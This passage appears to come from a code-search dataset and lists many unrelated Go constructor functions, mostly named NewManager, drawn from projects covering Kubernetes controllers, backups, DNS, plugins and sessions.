err\n\t}\n\tmgr.gw = gw\n\n\treturn &mgr, nil\n}", "func NewManager(c config.Config) (m *Manager, err error) {\n\tverifications := make([]*Verification, 0)\n\tsts := make([]*Status, 0)\n\tk8sm, err := k8s.New(c.Namespace)\n\tif err != nil {\n\t\treturn\n\t}\n\tdb, err := database.NewDatabase(c, nil, k8sm)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tstgM, err := storage.NewManager(c.Storages, c.ServiceName, c.Backup.RestoreDir, db.GetLogPosition().Format)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor st, svc := range stgM.GetStorageServices() {\n\t\tif !svc.Verify() {\n\t\t\tcontinue\n\t\t}\n\t\tv := NewVerification(c.ServiceName, stgM.GetStorage(st), c.Verification, db, k8sm)\n\t\tif err != nil {\n\t\t\treturn m, err\n\t\t}\n\t\tverifications = append(verifications, v)\n\t\tsts = append(sts, v.status)\n\t}\n\n\tif len(verifications) == 0 {\n\t\treturn nil, fmt.Errorf(\"no verifications created\")\n\t}\n\n\tprometheus.MustRegister(NewMetricsCollector(sts))\n\treturn &Manager{\n\t\tcfg: c,\n\t\tverifications: verifications,\n\t}, err\n}", "func NewManager(configs map[string]*config.TCPService) *Manager {\n\treturn &Manager{\n\t\tconfigs: configs,\n\t}\n}", "func NewManager(client *ingestic.ESClient, authzProjectsClient iam_v2.ProjectsClient,\n\teventServiceClient automate_event.EventServiceClient) Manager {\n\treturn Manager{\n\t\tstate: notRunningState,\n\t\tclient: client,\n\t\tauthzProjectsClient: authzProjectsClient,\n\t\teventServiceClient: eventServiceClient,\n\t}\n}", "func NewManager(ctx context.Context, logger log.Logger) *Manager {\n\treturn &Manager{\n\t\tlogger: logger,\n\t\tsyncCh: make(chan map[string][]*targetgroup.Group),\n\t\ttargets: make(map[poolKey]map[string]*targetgroup.Group),\n\t\tdiscoverCancel: []context.CancelFunc{},\n\t\tctx: ctx,\n\t}\n}", "func NewManager(domain string, zoneID string, token string, debug bool) (*Manager, error) {\n\tif debug {\n\t\tif err := util.SetLogLevels(map[string]logging.LogLevel{\n\t\t\t\"dns\": logging.LevelDebug,\n\t\t}); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tapi, err := cf.NewWithAPIToken(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Manager{\n\t\tDomain: domain,\n\t\tapi: api,\n\t\tzoneID: zoneID,\n\t}, nil\n}", "func NewManager(ps common.PubsubInterface, primaryCapacity int, overflowCapacity int) *Manager {\n\tshelves := map[string]*primaryShelf{\n\t\t\"hot\": NewPrimaryShelf(primaryCapacity),\n\t\t\"cold\": NewPrimaryShelf(primaryCapacity),\n\t\t\"frozen\": NewPrimaryShelf(primaryCapacity),\n\t}\n\toverflow := NewOverflowShelf(overflowCapacity, []string{\"hot\", \"cold\", \"frozen\"})\n\treturn &Manager{shelves, overflow, ps}\n}", "func NewManager(config *latest.Config, cache *generated.Config, client kubectl.Client, allowCyclic bool, configOptions *configutil.ConfigOptions, logger log.Logger) (Manager, error) {\n\tresolver, err := NewResolver(config, cache, allowCyclic, configOptions, logger)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"new resolver\")\n\t}\n\n\treturn &manager{\n\t\tconfig: config,\n\t\tclient: client,\n\t\tlog: logger,\n\t\tresolver: resolver,\n\t}, nil\n}", "func NewManager() (*Manager, error) {\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Manager{\n\t\tLogging: logging.NewLogging(logging.S().With(\"host\", cli.DaemonHost()).Desugar()),\n\t\tClient: cli,\n\t}, nil\n}", "func NewManager(kubeConfig *rest.Config, namespace string, electionID string) (manager.Manager, error) {\n\tmgrOpt := manager.Options{\n\t\tMetricsBindAddress: \"0\",\n\t\tLeaderElection: true,\n\t\tLeaderElectionNamespace: namespace,\n\t\tLeaderElectionID: electionID,\n\t}\n\tm, err := manager.New(kubeConfig, mgrOpt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t//err = addRedisServiceController(m, triggerPush)\n\t//if err != nil {\n\t//\tcontrollerLog.Fatalf(\"could not add RedisServiceController: %e\", err)\n\t//}\n\t//err = addRedisDestinationController(m, triggerPush)\n\t//if err != nil {\n\t//\tcontrollerLog.Fatalf(\"could not add RedisDestinationController: %e\", err)\n\t//}\n\t//err = addDubboAuthorizationPolicyController(m, triggerPush)\n\t//if err != nil {\n\t//\tcontrollerLog.Fatalf(\"could not add DubboAuthorizationPolicyController: %e\", err)\n\t//}\n\t//err = addApplicationProtocolController(m, triggerPush)\n\t//if err != nil {\n\t//\tcontrollerLog.Fatalf(\"could not add ApplicationProtocolController: %e\", err)\n\t//}\n\t//err = addMetaRouterController(m, triggerPush)\n\t//if err != nil {\n\t//\tcontrollerLog.Fatalf(\"could not add MetaRouterController: %e\", err)\n\t//}\n\t//err = scheme.AddToScheme(m.GetScheme())\n\t//if err != nil {\n\t//\tcontrollerLog.Fatalf(\"could not add schema: %e\", err)\n\t//}\n\treturn m, nil\n}", "func NewManager(ctx context.Context, config interface{}) (Manager, error) {\n\tswitch cfg := config.(type) {\n\tcase EtcdConfig:\n\t\treturn NewETCDManager(ctx, cfg)\n\t}\n\treturn nil, errors.Errorf(\"no KV manager found for config type %T\", config)\n}", "func NewManager(config Config) *Manager {\n\tlog.Info(\"Creating Manager\")\n\treturn &Manager{\n\t\tConfig: config,\n\t}\n}", "func NewManager(run, shutdown func(context.Context) error) *Manager {\n\tmgr := &Manager{\n\t\trunFunc: run,\n\t\tshutdownFunc: shutdown,\n\n\t\trunDone: make(chan struct{}),\n\t\tstartupDone: make(chan struct{}),\n\t\tshutdownDone: make(chan struct{}),\n\t\tpauseStart: make(chan struct{}),\n\t\tstatus: make(chan Status, 1),\n\t}\n\tmgr.status <- StatusUnknown\n\treturn mgr\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\ttransfers: make(map[string]*Transfer),\n\t}\n}", "func New(nodeID, clusterID, advertiseAddr, storeType, runnerAddr, configFile string, adminMan *admin.Manager) (*Manager, error) {\n\n\t// Create a new manager instance\n\tm := &Manager{nodeID: nodeID, clusterID: clusterID, advertiseAddr: advertiseAddr, storeType: storeType, runnerAddr: runnerAddr, configFile: configFile, adminMan: adminMan}\n\n\t// Initialise the consul client if enabled\n\tswitch storeType {\n\tcase \"none\":\n\t\tm.services = []*service{{id: nodeID, addr: advertiseAddr}}\n\t\treturn m, nil\n\tcase \"kube\":\n\t\ts, err := NewKubeStore(clusterID)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tm.store = s\n\t\tm.store.Register()\n\tcase \"consul\":\n\t\ts, err := NewConsulStore(nodeID, clusterID, advertiseAddr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tm.store = s\n\t\tm.store.Register()\n\tcase \"etcd\":\n\t\ts, err := NewETCDStore(nodeID, clusterID, advertiseAddr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tm.store = s\n\t\tm.store.Register()\n\t}\n\n\treturn m, nil\n}", "func NewManager(client *rest.Client) *Manager {\n\treturn &Manager{\n\t\tClient: client,\n\t}\n}", "func NewManager() *Manager {\n\tm := new(Manager)\n\n\terr := m.Releases.LoadChannels()\n\tif err != nil {\n\t\tlog.Error(\"error: could not load list of k3s channels\")\n\t}\n\terr = m.Releases.LoadReleases()\n\tif err != nil {\n\t\tlog.Error(\"could not load list of k3s releases\")\n\t}\n\n\treturn m\n}", "func New() datastore.Manager {\n\treturn manager{}\n}", "func New(mgr manager.Manager) *Manager {\n\tam := &Manager{\n\t\tmgr: mgr,\n\t}\n\treturn am\n}", "func New() Manager {\n\treturn &manager{}\n}", "func NewManager(parent *Manager) *Manager {\n\tvar am = &Manager{\n\t\tMaterials: make(map[string]*Material),\n\t\tMeshes: make(map[string]*Mesh),\n\t\tShaders: make(map[string]uint32),\n\t\tPrograms: make(map[ShaderSet]uint32),\n\t\tTextures: make(map[string]*Texture),\n\t\tParent: parent,\n\t}\n\n\treturn am\n}", "func NewManager(cmd *Command) *Manager {\n\treturn &Manager{\n\t\tCommand: cmd,\n\t}\n}", "func NewManager(fromImage, targetImage string) (*Manager, error) {\n\tReInit()\n\tm := &Manager{fromImage: fromImage, targetImage: targetImage, ctx: context.TODO()}\n\treturn m, m.bootstrap()\n}", "func NewManager(storage *storage.Storage, ledgerIndex iotago.MilestoneIndex) (*Manager, error) {\n\tmanager := &Manager{\n\t\tEvents: &Events{\n\t\t\tNextMilestoneUnsupported: event.New1[*iotago.ProtocolParamsMilestoneOpt](),\n\t\t\tCriticalErrors: event.New1[error](),\n\t\t},\n\t\tstorage: storage,\n\t\tcurrent: nil,\n\t\tpending: nil,\n\t}\n\n\tif err := manager.init(ledgerIndex); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn manager, nil\n}", "func NewManager(ctx context.Context, config *types.Config) (*Manager, error) {\n\tm := &Manager{config: config}\n\n\tswitch config.Store {\n\tcase common.GRPCStore:\n\t\tcorestore.Init(ctx, config)\n\t\tstore := corestore.Get()\n\t\tif store == nil {\n\t\t\treturn nil, common.ErrGetStoreFailed\n\t\t}\n\t\tm.store = store\n\tcase common.MocksStore:\n\t\tm.store = storemocks.NewFakeStore()\n\tdefault:\n\t\treturn nil, common.ErrInvalidStoreType\n\t}\n\n\tnode, err := m.store.GetNode(ctx, config.HostName)\n\tif err != nil {\n\t\tlog.WithFunc(\"NewManager\").Errorf(ctx, err, \"failed to get node %s\", config.HostName)\n\t\treturn nil, err\n\t}\n\n\tnodeIP := utils.GetIP(node.Endpoint)\n\tif nodeIP == \"\" {\n\t\tnodeIP = common.LocalIP\n\t}\n\n\tswitch config.Runtime {\n\tcase common.DockerRuntime:\n\t\tdocker.InitClient(config, nodeIP)\n\t\tm.runtimeClient = docker.GetClient()\n\t\tif m.runtimeClient == nil {\n\t\t\treturn nil, common.ErrGetRuntimeFailed\n\t\t}\n\tcase common.YavirtRuntime:\n\t\tyavirt.InitClient(config)\n\t\tm.runtimeClient = yavirt.GetClient()\n\t\tif m.runtimeClient == nil {\n\t\t\treturn nil, common.ErrGetRuntimeFailed\n\t\t}\n\tcase common.MocksRuntime:\n\t\tm.runtimeClient = runtimemocks.FromTemplate()\n\tdefault:\n\t\treturn nil, common.ErrInvalidRuntimeType\n\t}\n\n\tm.logBroadcaster = newLogBroadcaster()\n\tm.forwards = utils.NewHashBackends(config.Log.Forwards)\n\tm.storeIdentifier = m.store.GetIdentifier(ctx)\n\tm.nodeIP = nodeIP\n\tm.checkWorkloadMutex = &sync.Mutex{}\n\tm.startingWorkloads = haxmap.New[string, *utils.RetryTask]()\n\n\treturn m, nil\n}", "func NewManager(m project.Manager) *Manager {\n\treturn &Manager{\n\t\tBaseManager: cached.NewBaseManager(cached.ResourceTypeProject),\n\t\tdelegator: m,\n\t\tkeyBuilder: cached.NewObjectKey(cached.ResourceTypeProject),\n\t\tlifetime: time.Duration(config.CacheExpireHours()) * time.Hour,\n\t}\n}", "func NewManager(cfgManager config.Manager, metricsCl metrics.Client) Manager {\n\treturn &manager{\n\t\ttargetClient: map[string]Client{},\n\t\tcfgManager: cfgManager,\n\t\tmetricCl: metricsCl,\n\t}\n}", "func NewManager(t mockConstructorTestingTNewManager) *Manager {\n\tmock := &Manager{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "func NewManager(config ManagerConfig) (*Manager, error) {\n\tswitch {\n\tcase config.AllocatePacketConn == nil:\n\t\treturn nil, errAllocatePacketConnMustBeSet\n\tcase config.AllocateConn == nil:\n\t\treturn nil, errAllocateConnMustBeSet\n\tcase config.LeveledLogger == nil:\n\t\treturn nil, errLeveledLoggerMustBeSet\n\t}\n\n\treturn &Manager{\n\t\tlog: config.LeveledLogger,\n\t\tallocations: make(map[string]*Allocation, 64),\n\t\tallocatePacketConn: config.AllocatePacketConn,\n\t\tallocateConn: config.AllocateConn,\n\t\tpermissionHandler: config.PermissionHandler,\n\t}, nil\n}", "func NewManager(\n\tlogger hclog.Logger,\n\truntime *Runtime) Manager {\n\treturn Manager{\n\t\tlogger: logger,\n\t\truntime: runtime,\n\t}\n}", "func NewManager() *Manager {\n\tm := &Manager{\n\t\tcurrentPortsChan: make(chan []string),\n\t\treadOutputChan: make(chan readOutputMessage),\n\t\tflashChan: make(chan flashMessage),\n\t\treadContinuousChan: make(chan readContinuousMessage),\n\t\tstopReadingChan: make(chan stopReadingMessage),\n\t\tnameControllerChan: make(chan nameControllerMessage),\n\t\tpingChan: make(chan pingMessage),\n\t\twriteToControllerChan: make(chan writeToControllerMessage),\n\t\twriteToControllerContinuouslyChan: make(chan writeToControllerContinuouslyMessage),\n\t}\n\n\tgo m.lookForNewPorts()\n\tgo m.manageControllers()\n\tgo watchManagerHealth(m, func() {\n\t\tpanic(\"I don't know, just kill him I guess\")\n\t})\n\treturn m\n}", "func NewManager() *Manager {\n\tm := Manager{users: make(map[string]credentials, 0)}\n\treturn &m\n}", "func New() *Manager {\n\treturn &Manager{\n\t\tValidate: true,\n\t}\n}", "func newClientManager() ClientManager {\n\tclientManager := ClientManager{}\n\tclientManager.init()\n\n\treturn clientManager\n}", "func NewManager(urls []*ice.URL, btg BufferTransportGenerator, dcet DataChannelEventHandler, ntf ICENotifier) (m *Manager, err error) {\n\tm = &Manager{\n\t\ticeNotifier: ntf,\n\t\tbufferTransportPairs: make(map[uint32]*TransportPair),\n\t\tbufferTransportGenerator: btg,\n\t\tdataChannelEventHandler: dcet,\n\t}\n\n\tm.sctpAssociation = sctp.NewAssocation(m.dataChannelOutboundHandler, m.dataChannelInboundHandler, m.handleSCTPState)\n\n\tm.IceAgent = ice.NewAgent(urls, m.iceNotifier)\n\n\treturn m, err\n}", "func NewManager(url string) (anysched.Manager, error) {\n\tclient, err := dockerclient.NewEnvClient()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"dockerswarm.NewManager: dockerclient.NewEnvClient failed\")\n\t}\n\treturn &manager{client: client, url: url}, nil\n}", "func New(client client.Client, namespace string) *fakeManager {\n\treturn &fakeManager{\n\t\tclient: client,\n\t\tnamespace: namespace,\n\t}\n}", "func New(cb Done, transport http.RoundTripper) *Manager {\n\treturn &Manager{\n\t\tkeys: sets.NewString(),\n\t\tcb: cb,\n\t\ttransport: transport,\n\t}\n}", "func NewManager(logger log.Logger) *Manager {\n\treturn &Manager{\n\t\tlogger: logger,\n\t\tdone: make(chan struct{}),\n\t}\n}", "func NewManager(ctx context.Context, kubeCli kubernetes.Interface) (Manager, error) {\n\texists, err := kube.IsResAvailableInGroupVersion(ctx, kubeCli.Discovery(), netv1.GroupName, netv1.SchemeGroupVersion.Version, ingressRes)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"Failed to call discovery APIs: %v\", err)\n\t}\n\tif exists {\n\t\treturn NewNetworkingV1(kubeCli), nil\n\t}\n\n\texists, err = kube.IsResAvailableInGroupVersion(ctx, kubeCli.Discovery(), extensionsv1beta1.GroupName, extensionsv1beta1.SchemeGroupVersion.Version, ingressRes)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"Failed to call discovery APIs: %v\", err)\n\t}\n\tif exists {\n\t\treturn NewExtensionsV1beta1(kubeCli), nil\n\t}\n\n\texists, err = kube.IsResAvailableInGroupVersion(ctx, kubeCli.Discovery(), netv1beta1.GroupName, netv1beta1.SchemeGroupVersion.Version, ingressRes)\n\tif err != nil {\n\t\treturn nil, errors.Errorf(\"Failed to call discovery APIs: %v\", err)\n\t}\n\tif exists {\n\t\treturn NewNetworkingV1beta1(kubeCli), nil\n\t}\n\n\t// We were not able to figure out which groupVersion, resource is available in.\n\t// Most probably its because fake CLI was used, fallback to extensions/v1beta1\n\treturn NewExtensionsV1beta1(kubeCli), nil\n}", "func NewClusterManager(\n\tcloud *gce.GCECloud,\n\tnamer *utils.Namer,\n\tdefaultBackendNodePort backends.ServicePort,\n\tdefaultHealthCheckPath string) (*ClusterManager, error) {\n\n\t// Names are fundamental to the cluster, the uid allocator makes sure names don't collide.\n\tcluster := ClusterManager{ClusterNamer: namer}\n\n\t// NodePool stores GCE vms that are in this Kubernetes cluster.\n\tcluster.instancePool = instances.NewNodePool(cloud, namer)\n\n\t// BackendPool creates GCE BackendServices and associated health checks.\n\thealthChecker := healthchecks.NewHealthChecker(cloud, defaultHealthCheckPath, cluster.ClusterNamer)\n\t// Loadbalancer pool manages the default backend and its health check.\n\tdefaultBackendHealthChecker := healthchecks.NewHealthChecker(cloud, \"/healthz\", cluster.ClusterNamer)\n\n\tcluster.healthCheckers = []healthchecks.HealthChecker{healthChecker, defaultBackendHealthChecker}\n\n\t// TODO: This needs to change to a consolidated management of the default backend.\n\tcluster.backendPool = backends.NewBackendPool(cloud, cloud, healthChecker, cluster.instancePool, cluster.ClusterNamer, []int64{defaultBackendNodePort.NodePort}, true)\n\tdefaultBackendPool := backends.NewBackendPool(cloud, cloud, defaultBackendHealthChecker, cluster.instancePool, cluster.ClusterNamer, []int64{}, false)\n\tcluster.defaultBackendNodePort = defaultBackendNodePort\n\n\t// L7 pool creates targetHTTPProxy, ForwardingRules, UrlMaps, StaticIPs.\n\tcluster.l7Pool = loadbalancers.NewLoadBalancerPool(cloud, defaultBackendPool, defaultBackendNodePort, cluster.ClusterNamer)\n\tcluster.firewallPool = firewalls.NewFirewallPool(cloud, cluster.ClusterNamer, gce.LoadBalancerSrcRanges(), flags.F.NodePortRanges.Values())\n\treturn &cluster, nil\n}", "func NewManager(providerAPIToken string) (m *Manager) {\n\n\tif len(providerAPIToken) == 0 {\n\t\tfmt.Println(\"no linode api token set\")\n\t\treturn nil\n\t}\n\n\tmanager := new(Manager)\n\tmanager.APIToken = providerAPIToken\n\ttokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: manager.APIToken})\n\n\toauth2Client := &http.Client{\n\t\tTransport: &oauth2.Transport{\n\t\t\tSource: tokenSource,\n\t\t},\n\t}\n\n\tmanager.api = linodego.NewClient(oauth2Client)\n\n\treturn manager\n}", "func NewManager() (*Manager, error) {\n\tsm := &Manager{\n\t\tsessions: make(map[string]*client),\n\t}\n\tsm.updateCondition = sync.NewCond(&sm.mu)\n\treturn sm, nil\n}", "func NewManager(db hub.DB) *Manager {\n\treturn &Manager{\n\t\tdb: db,\n\t}\n}", "func newManager(id int, wg *sync.WaitGroup, pr int64, cr float64, ps float64) *Manager {\n\tvar weather Weather\n\tweather.initializeWeather()\n\tweather.generateWeather()\n\tforecast, multiplier := weather.getWeather()\n\tfmt.Printf(\"\\nCURRENT FORECAST: %s\\n\", forecast)\n\n\tproductsRate = pr\n\tcustomerRate = cr * multiplier\n\tprocessSpeed = ps\n\n\tcustomerStatusChan = make(chan int, 256)\n\tcheckoutChangeStatusChan = make(chan int, 256)\n\n\t// Default to 1 Checkout when the store opens\n\tnumberOfCheckoutsOpen = 1\n\n\treturn &Manager{id: id, wg: wg}\n}", "func NewManager(ds models.DataStore) Manager {\n\treturn &manager{ds}\n}", "func NewManager(version string, cfg Cfg, uuid string, tags []string,\n\tcontainer string, weight int, extras, bindHttp, dataDir, server string,\n\tmeh ManagerEventHandlers) *Manager {\n\treturn NewManagerEx(version, cfg, uuid, tags, container, weight, extras,\n\t\tbindHttp, dataDir, server, meh, nil)\n}", "func NewManager() Manager {\n\treturn &manager{\n\t\tdao.New(),\n\t}\n}", "func New() Manager {\n\treturn Manager{\n\t\tState: make(map[string]string),\n\t\tClientHolder: make(map[string]utils.Set),\n\t\tClientQueue: make(map[string]utils.Queue),\n\t}\n}", "func NewManager(connectionURL string) (Manager, error) {\n\trep, err := newProductsRepository(connectionURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &ActualManager{\n\t\trep,\n\t\tNewDiscountApplier(),\n\t}, nil\n}", "func NewManager(cnts controller.Collector, lgr interfaces.Logger, port string) Manager {\n\tvar mng Manager\n\tmng.lgr = lgr\n\tmng.lmt = NewLimiter(1, rateLimit)\n\tmng.port = port\n\n\tmng.createRouter(cnts)\n\tmng.defineHTTPServer()\n\n\treturn mng\n}", "func NewManager() *Manager {\n\treturn &Manager{requestEndpoint: &RequestEndpoint{}, distReq: &GoogleDistanceRequester{}}\n}", "func NewManager(nodeID, cmName, cmNameSpace string, updateInterval int, masterURL, kubeconfig string) *UnifiedResourceManager {\n\tmanager := &UnifiedResourceManager{\n\t\tNodeID: nodeID,\n\t\tUpdateInterval: updateInterval,\n\t}\n\t// Config GlobalVar\n\tconfig.GlobalConfigSet(nodeID, masterURL, kubeconfig)\n\n\treturn manager\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\tinjector: inject.New(),\n\t\tgtcfg: make(map[oauth2.GrantType]*Config),\n\t}\n}", "func NewManager() *Manager {\n\tm := &Manager{\n\t\tPersistenceManager: persistencemanager.NewMapPersistenceManager(),\n\t}\n\n\tm.DeckManager = deck.NewDeckManager(m.PersistenceManager)\n\tm.PileManager = pile.NewPileManager(m.PersistenceManager)\n\n\treturn m\n}", "func CreateManager(checkHIBP bool, c configuration.CryptoConfig) *Manager {\n\tlog.Println(\"Setting up credential manager.\")\n\n\targon2Params := &argon2id.Params{\n\t\tMemory: c.Argon2.Memory,\n\t\tIterations: c.Argon2.Iterations,\n\t\tParallelism: c.Argon2.Parallelism,\n\t\tSaltLength: c.Argon2.SaltLength,\n\t\tKeyLength: c.Argon2.KeyLength,\n\t}\n\n\treturn &Manager{\n\t\tcheckHIBP: checkHIBP,\n\t\targon2Params: argon2Params,\n\t}\n}", "func NewManager(ctx context.Context, configSource config.Source, privKey string) *Manager {\n\tm := &Manager{\n\t\tconfigSource: configSource,\n\t\tsyncers: make(map[string]*slaveSyncer),\n\t\tprivKey: privKey,\n\t\tctx: ctx,\n\t}\n\treturn m\n}", "func NewManager() *Manager {\n\tret := Manager{\n\t\tbyteStream: make(chan []byte),\n\t}\n\tgo ret.run()\n\treturn &ret\n}", "func newManager(c config.Sessions) (*Manager, error) {\n\tprovider, found := providers[c.Provider]\n\tif !found {\n\t\treturn nil, ErrProviderNotFound.Format(c.Provider)\n\t}\n\n\tmanager := &Manager{}\n\tmanager.config = &c\n\tmanager.provider = provider\n\n\treturn manager, nil\n}", "func NewManager(manager execmanager.ExecutionManager, id string, config *config.ClusterProviderConfig,\n\tparams providers.InstanceOptions) Manager {\n\treturn &shellInterface{\n\t\tmanager: manager,\n\t\tid: id,\n\t\tconfig: config,\n\t\tparams: params,\n\t}\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\tdrivers: make(map[string]func() Driver),\n\t}\n}", "func NewManager(provider organization.Provider, settingProvider organization_setting.Provider) Manager {\n\treturn Manager{Provider: provider, SettingProvider: settingProvider}\n}", "func NewManager[T ClusterIDProvider](srv bs.Server) *Manager {\n\tm := &Manager{}\n\t// The first initialization after the server is started.\n\tsrv.AddStartCallback(func() {\n\t\tlog.Info(\"meta storage starts to initialize\", zap.String(\"name\", srv.Name()))\n\t\tm.storage = endpoint.NewStorageEndpoint(\n\t\t\tkv.NewEtcdKVBase(srv.GetClient(), \"meta_storage\"),\n\t\t\tnil,\n\t\t)\n\t\tm.client = srv.GetClient()\n\t\tm.srv = srv\n\t\tm.clusterID = srv.(T).ClusterID()\n\t})\n\treturn m\n}", "func NewManager(db Database, directory string, mux *gin.RouterGroup, notifier Notifier) (*Manager, error) {\n\tmanager := &Manager{\n\t\tmutex: &sync.RWMutex{},\n\t\tinstances: map[uint]compat.PluginInstance{},\n\t\tplugins: map[string]compat.Plugin{},\n\t\tmessages: make(chan MessageWithUserID),\n\t\tdb: db,\n\t\tmux: mux,\n\t}\n\n\tgo func() {\n\t\tfor {\n\t\t\tmessage := <-manager.messages\n\t\t\tinternalMsg := &model.Message{\n\t\t\t\tApplicationID: message.Message.ApplicationID,\n\t\t\t\tTitle: message.Message.Title,\n\t\t\t\tPriority: message.Message.Priority,\n\t\t\t\tDate: message.Message.Date,\n\t\t\t\tMessage: message.Message.Message,\n\t\t\t}\n\t\t\tif message.Message.Extras != nil {\n\t\t\t\tinternalMsg.Extras, _ = json.Marshal(message.Message.Extras)\n\t\t\t}\n\t\t\tdb.CreateMessage(internalMsg)\n\t\t\tmessage.Message.ID = internalMsg.ID\n\t\t\tnotifier.Notify(message.UserID, &message.Message)\n\t\t}\n\t}()\n\n\tif err := manager.loadPlugins(directory); err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, user := range manager.db.GetUsers() {\n\t\tif err := manager.initializeForUser(*user); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn manager, nil\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\tManager: mock.NewManager(),\n\t}\n}", "func NewManager(store Store, validator Validator) *Manager {\n\treturn &Manager{\n\t\tstore: store,\n\t\tvalidator: validator,\n\t\tcountInvalid: 0,\n\t}\n}", "func NewManager() *Manager {\n\treturn &Manager{\n\t\tmx: new(sync.RWMutex),\n\t\tshutdownCh: make(chan struct{}),\n\t\tproviders: make(map[string]*namedSender),\n\t}\n}", "func NewManager(ctx context.Context, logger logging.Logger) Manager {\n\tm := &manager{\n\t\tctx: ctx,\n\t\tlogger: logger,\n\t\tprocesses: make(map[string]*processInfo),\n\t}\n\n\tgo m.listenExit()\n\n\treturn m\n}", "func NewMgr(dbPath string, ccInfoProvider ledger.DeployedChaincodeInfoProvider) (*Mgr, error) {\n\tp, err := newDBProvider(dbPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Mgr{ccInfoProvider, p}, nil\n}", "func New() Manager {\n\treturn &manager{\n\t\tdao: dao.New(),\n\t}\n}", "func NewManager(t cluster.Target, config *cmn.Config, st stats.Tracker) *Manager {\n\tecClient := cmn.NewClient(cmn.TransportArgs{\n\t\tTimeout: config.Client.Timeout.D(),\n\t\tUseHTTPS: config.Net.HTTP.UseHTTPS,\n\t\tSkipVerify: config.Net.HTTP.SkipVerify,\n\t})\n\treb := &Manager{\n\t\tt: t,\n\t\tfilterGFN: filter.NewDefaultFilter(),\n\t\tstatTracker: st,\n\t\tstages: newNodeStages(),\n\t\tecClient: ecClient,\n\t}\n\trebcfg := &config.Rebalance\n\tdmExtra := bundle.Extra{\n\t\tRecvAck: reb.recvAck,\n\t\tCompression: rebcfg.Compression,\n\t\tMultiplier: int(rebcfg.Multiplier),\n\t}\n\tdm, err := bundle.NewDataMover(t, rebTrname, reb.recvObj, cluster.Migrated, dmExtra)\n\tif err != nil {\n\t\tcos.ExitLogf(\"%v\", err)\n\t}\n\treb.dm = dm\n\treb.registerRecv()\n\treturn reb\n}", "func NewManager(ctx context.Context, config *Config) *Manager {\n\tmanager := &Manager{\n\t\tctx: ctx,\n\t\tconfig: config,\n\t\tEntries: map[string]*Entry{},\n\t}\n\tfor _, config := range config.APICalls {\n\t\tapiCall := NewAPICall(config.URI, config.Key)\n\t\tjob := NewFnJob(config.Name, config.Schedule, apiCall.Call)\n\t\tmanager.AddJob(job)\n\t}\n\treturn manager\n}", "func NewManager(config config.Config) *Manager {\n\ttm := &Manager{config: config}\n\ttm.tasks = make(map[uint64]*task)\n\treturn tm\n}", "func NewManager(functionTable semantic.FunctionTable, classTable semantic.ClassTable) Manager {\n\treturn Manager{\n\t\toperands: NewElementStack(),\n\t\toperators: NewQuadActionStack(),\n\t\tquads: make([]Quad, 0),\n\t\tscopeStack: utils.StringStack{},\n\t\tfunctionTable: functionTable,\n\t\tclassTable: classTable,\n\t\tavail: 0,\n\t}\n}", "func NewManager(ts *topo.Server) *Manager {\n\treturn &Manager{\n\t\tts: ts,\n\t\tnodeManager: NewNodeManager(),\n\t\tstarted: make(chan struct{}),\n\t\tworkflows: make(map[string]*runningWorkflow),\n\t}\n}", "func (c *FakeClusterManagers) Create(ctx context.Context, clusterManager *operatorv1.ClusterManager, opts v1.CreateOptions) (result *operatorv1.ClusterManager, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewRootCreateAction(clustermanagersResource, clusterManager), &operatorv1.ClusterManager{})\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*operatorv1.ClusterManager), err\n}", "func NewManager(ctx context.Context, name string, nodes []*Node) *Manager {\n\tConstructBranches(nodes)\n\n\tmanager := &Manager{\n\t\tctx: ctx,\n\t\tName: name,\n\t\tStarting: FetchStarting(nodes),\n\t\tNodes: len(nodes),\n\t}\n\n\tends := make(map[string]*Node, len(nodes))\n\tfor _, node := range manager.Starting {\n\t\tnode.Walk(ends, func(node *Node) {\n\t\t\tmanager.References += len(node.References)\n\t\t})\n\t}\n\n\tmanager.Ends = len(ends)\n\n\treturn manager\n}", "func New(gatewayClient gatewayv1beta1.GatewayAPIClient, s metadata.Storage, indexer indexer.Indexer) (*Manager, error) {\n\treturn &Manager{\n\t\tgatewayClient: gatewayClient,\n\t\tstorage: s,\n\t\tindexer: indexer,\n\t\tinitialized: false,\n\t}, nil\n}", "func NewManager(s *storage.Manager, db database.Database, k *k8s.Database, c config.Config) (m *Manager, err error) {\n\n\tus := NewUpdateStatus()\n\tfor _, v := range s.GetStorageServicesKeys() {\n\t\tus.IncBackup[v] = 0\n\t\tus.FullBackup[v] = 0\n\t}\n\tp := cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor)\n\tcronSch, err := p.Parse(c.Backup.FullBackupCronSchedule)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tprometheus.MustRegister(NewMetricsCollector(&us))\n\treturn &Manager{\n\t\tDb: db,\n\t\tcfg: c,\n\t\tk8sDB: k,\n\t\tStorage: 